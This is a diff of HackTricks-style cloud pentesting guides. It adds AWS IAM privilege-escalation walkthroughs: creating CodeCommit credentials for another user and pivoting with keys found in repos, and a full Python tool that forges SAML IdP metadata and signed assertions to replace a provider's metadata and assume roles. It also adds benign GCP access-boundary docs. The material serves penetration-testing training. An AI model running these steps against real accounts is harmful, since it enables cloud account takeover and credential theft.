f

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md

@@ -104,21 +104,51 @@ aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user
 
 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
 
-Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user.
+Enables generating or resetting credentials for specific AWS services (most commonly **CodeCommit**). These are **not** AWS API keys: they are **username/password** credentials for a specific service, and you can only use them where that service accepts them.
 
-**Exploit for Creation:**
+**Creation:**
 
 ```bash
-aws iam create-service-specific-credential --user-name <username> --service-name <service>
+aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
 ```
 
-**Exploit for Reset:**
+Save:
+
+- `ServiceSpecificCredential.ServiceUserName`
+- `ServiceSpecificCredential.ServicePassword`
+
+**Example:**
+
+```bash
+# Find a repository you can access as the target
+aws codecommit list-repositories
+
+export REPO_NAME="<repo_name>"
+export AWS_REGION="us-east-1" # adjust if needed
+
+# Git URL (HTTPS)
+export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
+
+# Clone and use the ServiceUserName/ServicePassword when prompted
+git clone "$CLONE_URL"
+cd "$REPO_NAME"
+```
+
+> Note: The service password often contains characters like `+`, `/` and `=`. Using the interactive prompt is usually easiest. If you embed it into a URL, URL-encode it first.
+
+At this point you can read whatever the target user can access in CodeCommit (e.g., a leaked credentials file). If you retrieve **AWS access keys** from the repo, configure a new AWS CLI profile with those keys and then access resources (for example, read a flag from Secrets Manager):
+
+```bash
+aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
+```
+
+**Reset:**
 
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
 
-**Impact:** Direct privilege escalation within the user's service permissions.
+**Impact:** Privilege escalation into the target user's permissions for the given service (and potentially beyond if you pivot using data retrieved from that service).
 
 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
 
@@ -273,8 +303,264 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
 aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
 ```
 
-> [!NOTE]
-> TODO: A Tool capable of generating the SAML metadata and login with a specified role
+**End-to-end attack (like HackTricks Training IAM Lab 7):**
+
+1. Enumerate the SAML provider and a role that trusts it:
+
+```bash
+export AWS_REGION=${AWS_REGION:-us-east-1}
+
+aws iam list-saml-providers
+export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
+
+# Backup current metadata so you can restore it later:
+aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
+
+# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
+aws iam list-roles | grep -i saml || true
+aws iam get-role --role-name "<ROLE_NAME>"
+export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
+```
+
+2. Forge IdP metadata + a signed SAML assertion for the role/provider pair:
+
+```bash
+python3 -m venv /tmp/saml-federation-venv
+source /tmp/saml-federation-venv/bin/activate
+pip install lxml signxml
+
+# Create /tmp/saml_forge.py from the expandable below first:
+python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
+python3 - <<'PY'
+import json
+j=json.load(open("/tmp/saml-forge.json","r"))
+open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
+open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
+print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
+PY
+```
+
+<details>
+<summary>Expandable: <code>/tmp/saml_forge.py</code> helper (metadata + signed assertion)</summary>
+
+```python
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import argparse
+import base64
+import datetime as dt
+import json
+import os
+import subprocess
+import tempfile
+import uuid
+
+from lxml import etree
+from signxml import XMLSigner, methods
+
+
+def _run(cmd: list[str]) -> str:
+    p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+    return p.stdout
+
+
+def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
+    key_path = os.path.join(tmpdir, "key.pem")
+    cert_path = os.path.join(tmpdir, "cert.pem")
+    _run(
+        [
+            "openssl",
+            "req",
+            "-x509",
+            "-newkey",
+            "rsa:2048",
+            "-keyout",
+            key_path,
+            "-out",
+            cert_path,
+            "-days",
+            "3650",
+            "-nodes",
+            "-subj",
+            "/CN=attacker-idp",
+        ]
+    )
+    return key_path, cert_path
+
+
+def _pem_cert_to_b64(cert_pem: str) -> str:
+    lines: list[str] = []
+    for line in cert_pem.splitlines():
+        if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
+            continue
+        line = line.strip()
+        if line:
+            lines.append(line)
+    return "".join(lines)
+
+
+def make_metadata_xml(cert_b64: str) -> str:
+    return f"""<?xml version="1.0"?>
+<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
+  <IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
+    <KeyDescriptor use="signing">
+      <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
+        <X509Data>
+          <X509Certificate>{cert_b64}</X509Certificate>
+        </X509Data>
+      </KeyInfo>
+    </KeyDescriptor>
+    <SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
+  </IDPSSODescriptor>
+</EntityDescriptor>
+"""
+
+
+def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
+    ns = {
+        "saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
+        "saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
+    }
+
+    issue_instant = dt.datetime.now(dt.timezone.utc)
+    not_before = issue_instant - dt.timedelta(minutes=2)
+    not_on_or_after = issue_instant + dt.timedelta(minutes=10)
+
+    resp_id = "_" + str(uuid.uuid4())
+    assertion_id = "_" + str(uuid.uuid4())
+
+    response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
+    response.set("ID", resp_id)
+    response.set("Version", "2.0")
+    response.set("IssueInstant", issue_instant.isoformat())
+    response.set("Destination", "https://signin.aws.amazon.com/saml")
+
+    issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
+    issuer.text = "https://attacker.invalid/idp"
+
+    status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
+    status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
+    status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
+
+    assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
+    assertion.set("ID", assertion_id)
+    assertion.set("Version", "2.0")
+    assertion.set("IssueInstant", issue_instant.isoformat())
+
+    a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
+    a_issuer.text = "https://attacker.invalid/idp"
+
+    subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
+    name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
+    name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
+    name_id.text = "attacker"
+
+    subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
+    subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
+    subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
+    subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
+    subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
+
+    conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
+    conditions.set("NotBefore", not_before.isoformat())
+    conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
+
+    audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
+    audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
+    audience.text = "https://signin.aws.amazon.com/saml"
+
+    attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
+
+    attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
+    attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
+    attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
+    attr_role_value.text = f"{role_arn},{principal_arn}"
+
+    attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
+    attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
+    attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
+    attr_session_value.text = "saml-session"
+
+    key_bytes = open(key_pem, "rb").read()
+    cert_bytes = open(cert_pem, "rb").read()
+
+    signer = XMLSigner(
+        method=methods.enveloped,
+        signature_algorithm="rsa-sha256",
+        digest_algorithm="sha256",
+        c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
+    )
+    signed_assertion = signer.sign(
+        assertion,
+        key=key_bytes,
+        cert=cert_bytes,
+        reference_uri=f"#{assertion_id}",
+        id_attribute="ID",
+    )
+
+    response.remove(assertion)
+    response.append(signed_assertion)
+
+    return etree.tostring(response, xml_declaration=True, encoding="utf-8")
+
+
+def main() -> None:
+    ap = argparse.ArgumentParser()
+    ap.add_argument("--role-arn", required=True)
+    ap.add_argument("--principal-arn", required=True)
+    args = ap.parse_args()
+
+    with tempfile.TemporaryDirectory() as tmp:
+        key_path, cert_path = _openssl_make_key_and_cert(tmp)
+        cert_pem = open(cert_path, "r", encoding="utf-8").read()
+        cert_b64 = _pem_cert_to_b64(cert_pem)
+
+        metadata_xml = make_metadata_xml(cert_b64)
+        saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
+        saml_b64 = base64.b64encode(saml_xml).decode("ascii")
+
+        print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
+
+
+if __name__ == "__main__":
+    main()
+```
+
+</details>
+
+3. Update the SAML provider metadata to your IdP certificate, assume the role, and use the returned STS credentials:
+
+```bash
+aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
+  --saml-metadata-document file:///tmp/saml-metadata.xml
+
+# Assertion is base64 and can be long. Keep it on one line:
+ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
+SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
+  --query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
+IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
+echo "Session expires at: $SESSION_EXP"
+
+# Use creds inline (no need to create an AWS CLI profile):
+AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
+  aws sts get-caller-identity
+```
+
+4. Cleanup: restore previous metadata:
+
+```bash
+python3 - <<'PY'
+import json
+j=json.load(open("/tmp/saml-provider-backup.json","r"))
+open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
+PY
+aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
+  --saml-metadata-document file:///tmp/saml-metadata-original.xml
+```
+
+> [!WARNING]
+> Updating SAML provider metadata is disruptive: while your metadata is in place, legitimate SSO users might not be able to authenticate.
 
 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
 
@@ -329,5 +615,3 @@ aws iam put-role-permissions-boundary \
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md

@@ -68,7 +68,7 @@ An example of a trust policy with this permission is:
 To generate credentials to impersonate the role in general you could use something like:
 
 ```bash
-aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
+aws sts assume-role-with-saml --role-arn <role_arn> --principal-arn <provider_arn> --saml-assertion <base64_saml_response>
 ```
 
 But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
@@ -152,4 +152,3 @@ For this attack to be possible, both the trust anchor and the `default` profile
 {{#include ../../../../banners/hacktricks-training.md}}
 
 
-

src/pentesting-cloud/gcp-security/gcp-basic-information/README.md

@@ -116,6 +116,125 @@ Or check if a **custom role can use a** [**specific permission in here**](https:
 ../gcp-services/gcp-iam-and-org-policies-enum.md
 {{#endref}}
 
+## Principal Access Boundary (PAB) Policies
+
+In GCP, the closest equivalent to an **AWS IAM Permissions Boundary** is a **Principal Access Boundary (PAB) policy**.
+
+A **PAB policy** is an IAM control that **limits the resources that a set of principals are eligible to access**. It **doesn't grant access by itself**; it acts as an additional boundary that can only further restrict what principals can do, even if IAM role bindings would otherwise allow it.
+
+PAB policies are created at the **organization** level and then **enforced by creating policy bindings** (policy bindings bind a policy to a *principal set*).
+
+Useful docs:
+
+- <https://cloud.google.com/iam/docs/principal-access-boundary-policies>
+- <https://cloud.google.com/iam/docs/principal-access-boundary-policies-create>
+- <https://cloud.google.com/iam/docs/principal-access-boundary-policies-view>
+- <https://cloud.google.com/iam/docs/principal-access-boundary-policies-remove>
+
+### Create / Assign (Apply) a PAB
+
+Create the PAB policy in the organization:
+
+```bash
+gcloud iam principal-access-boundary-policies create PAB_POLICY_ID \
+  --organization=ORG_ID \
+  --location=global \
+  --display-name="My PAB policy" \
+  --details-rules=pab-rules.json \
+  --details-enforcement-version=latest
+```
+
+Example `pab-rules.json`:
+
+```json
+[
+  {
+    "description": "Only eligible to access these resources",
+    "resources": [
+      "//cloudresourcemanager.googleapis.com/projects/ALLOWED_PROJECT_ID"
+    ],
+    "effect": "ALLOW"
+  }
+]
+```
+
+Apply it by creating a policy binding (this is what actually enforces the policy for the principal set):
+
+```bash
+gcloud iam policy-bindings create BINDING_ID \
+  --project=PROJECT_ID \
+  --location=global \
+  --policy="organizations/ORG_ID/locations/global/principalAccessBoundaryPolicies/PAB_POLICY_ID" \
+  --target-principal-set='//cloudresourcemanager.googleapis.com/projects/TARGET_PROJECT_ID'
+```
+
+Notes:
+
+- The binding parent can also be a folder or organization (use `--folder=FOLDER_ID` or `--organization=ORG_ID` instead of `--project=PROJECT_ID`).
+- `--target-principal-set` supports multiple formats (projects/folders/orgs, workforce/workload identity pools, workspace identity, etc.).
+- Enforcement versions accepted values are `1`, `2`, `3`, and `latest`.
+
+### Enumerate
+
+List PAB policies in an org:
+
+```bash
+gcloud iam principal-access-boundary-policies list \
+  --organization=ORG_ID \
+  --location=global
+```
+
+Describe a specific PAB policy:
+
+```bash
+gcloud iam principal-access-boundary-policies describe PAB_POLICY_ID \
+  --organization=ORG_ID \
+  --location=global
+```
+
+List policy bindings under a project/folder/org (these bindings are what enforce PABs):
+
+```bash
+gcloud iam policy-bindings list \
+  --project=PROJECT_ID \
+  --location=global
+```
+
+Search policy bindings by target principal set (what PABs apply to this target?):
+
+```bash
+gcloud iam policy-bindings search-target-policy-bindings \
+  --project=PROJECT_ID \
+  --location=global \
+  --target='//cloudresourcemanager.googleapis.com/projects/TARGET_PROJECT_ID'
+```
+
+List policy bindings that reference a specific PAB policy:
+
+```bash
+gcloud iam principal-access-boundary-policies search-policy-bindings PAB_POLICY_ID \
+  --organization=ORG_ID \
+  --location=global
+```
+
+### Remove
+
+Remove a PAB from a principal set (delete the policy binding):
+
+```bash
+gcloud iam policy-bindings delete BINDING_ID \
+  --project=PROJECT_ID \
+  --location=global
+```
+
+Delete the PAB policy itself (optionally `--force` if there are still bindings referencing it):
+
+```bash
+gcloud iam principal-access-boundary-policies delete PAB_POLICY_ID \
+  --organization=ORG_ID \
+  --location=global
+```
+
 ## Users <a href="#default-credentials" id="default-credentials"></a>
 
 In **GCP console** there **isn't any Users or Groups** management, that is done in **Google Workspace**. Although you could synchronize a different identity provider in Google Workspace.
@@ -228,6 +347,3 @@ As defined by terraform in [https://registry.terraform.io/providers/hashicorp/go
 - [https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-